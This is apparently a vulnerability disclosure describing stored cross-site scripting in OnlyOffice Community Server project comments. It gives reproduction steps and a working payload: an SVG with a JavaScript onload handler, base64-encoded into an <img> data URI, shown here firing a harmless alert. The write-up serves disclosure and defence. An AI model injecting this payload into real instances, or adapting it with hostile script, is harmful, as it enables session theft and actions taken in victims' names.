OnlyOffice Community Server | Stored XSS via embedding SVG in comment

In OnlyOffice, users can create projects and add comments. While HTML input is permitted, it also allows embedding SVG images that can contain JavaScript, leading to an XSS vulnerability.

Reproduce

Adding comments to a project:

http://127.0.0.1:8088/Products/Projects/Messages.aspx?prjID=1&id=1#comments

From the comment section, enter raw HTML. The vulnerability can be exploited by abusing the <img> tag to load a base64 encoded SVG image.

Convert the following SVG payload into base64:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" onload="alert('xss')"><rect width="200" height="200" fill="lightblue" /></svg>

Create the payload using the base64 encoded value:

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIiBvbmxvYWQ9ImFsZXJ0KCd4c3MnKSI+PHJlY3Qgd2lkdGg9IjIwMCIgaGVpZ2h0PSIyMDAiIGZpbGw9ImxpZ2h0Ymx1ZSIgLz48L3N2Zz4=" alt="XSS">

The alert will be executed whenever the SVG image loads.